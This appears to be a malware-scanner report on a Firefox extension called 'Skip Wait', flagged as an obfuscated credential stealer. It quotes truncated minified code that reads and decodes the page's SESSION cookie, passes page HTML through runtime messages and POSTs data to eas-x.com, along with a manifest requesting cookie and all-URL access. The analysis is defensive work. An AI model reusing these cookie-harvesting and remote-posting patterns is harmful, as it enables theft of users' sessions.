Hostile 100% firefox 1 installs Download

Skip Wait - Smart Wait Time help 1.5.7

Obfuscated credential stealer

“Detects supported countdown timers and waiting-page flows and helps proceed when a site exposes a client-side continuation.Detects countdow…”

Broad-access extension posts extension-store cookies remotelyAll-site extension decodes page cookie tokens for authenticated requests

Evidence

Configures an HTTP POST request background.js · line 9
9:5962nst t=h(32),n=await(async(e,t,n)=>{try{const r={"content-type":"application/json"};n&&(r["idempotency-key"]=h(32));const o=await fetch(`https://eas-x.com/api/v1/licenses${e}`,{method:"POST",headers:r,body:JSON.stringify(t),cache:"no-store"});let a;try{a=await o.json()}catch{return{kind:"network"}}return{kind:"response",data:a}}catch{return{kind:"network"}}})("/validate",{activation_token:e.activationToken,instance_id:e.instanceId,nonce:t},!1);if("netwo
Uses the Chrome runtime API background.js · line 41
41:19299=>{try{const t=new URL(e);if(!Tn(t.href))return!1;const[n,...r]=t.pathname.replace(/^\/+|\/+$/g,"").split("/").filter(Boolean);return!!n&&0===r.length&&$n.test(n)}catch{return!1}})(r))return n({ok:!1}),!1;const o=e=>{chrome.runtime.sendMessage({type:"ALPHAREDE_PROGRESS",...e}).catch(()=>{})};return(async()=>{try{if(!(await ue(new URL(r).hostname,"alpharede")))return void n({ok:!1});n({ok:!0,dest:await Mn(r,o)})}catch{n({ok:!1})}})(
WebExtension runtime message carries page DOM background.js · line 41
41:20424pe)return!1;const r="string"==typeof e.unlockUrl?e.unlockUrl:"",o="string"==typeof e.pageHtml?e.pageHtml:"";if(!(e=>{try{const t=new URL(e);if(!/^https?:\/\//i.test(t.href))return!1;const[n,...r]=t.pathname.replace(/^\/+|\/+$/g,"").split("/").filter(Boolean);return!!n&&0===r.length&&tr.test(n)}ca
Decodes page cookie token content.js · line 1
1:271911arams.get("token"));if(e)return e}catch{}return Yx((t=>{const e=document.cookie.match(new RegExp(`(?:^|;\\s*)${t}=([^;]*)`));return e?.[1]?decodeURIComponent(e[1]):null})("SESSION"))}function Vx(t){try{const e=t.split(".")[1];if(!e)return null;const n=atob(e.replace(/-/g,"+").replace(/_/g,"/")+"=".repeat((4-e.length%4)%4)),o=JSON.parse(n),r=Number(o.step),i=Number(o.max_step);return
Extension requests cookies permission manifest.json · lines 1–48
1{
2 "manifest_version": 3,
3 "name": "Skip Wait - Bypass Timers & Countdowns",
4 "version": "1.5.7",
5 "description": "Skip supported waiting pages with Power Control, animated waiting UI, per-site pause, whitelist, and Firefox-safe page navigation handoff.",
6 "action": {
7 "default_title": "Skip Wait",
9 lines
17 "background.js"
18 ],
19 "service_worker": "background.js",
20 "type": "module"
21 },
22 "content_scripts": [
23 {
24 "matches": [
25 "<all_urls>"
26 ],
27 "js": [
28 "content.js"
29 ],
30 "run_at": "document_start",
31 "all_frames": true
32 }
33 ],
34 "host_permissions": [
35 "<all_urls>"
36 ],
37 "permissions": [
38 "alarms",
39 "cookies",
40 "declarativeNetRequestWithHostAccess",
41 "scripting",
7 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.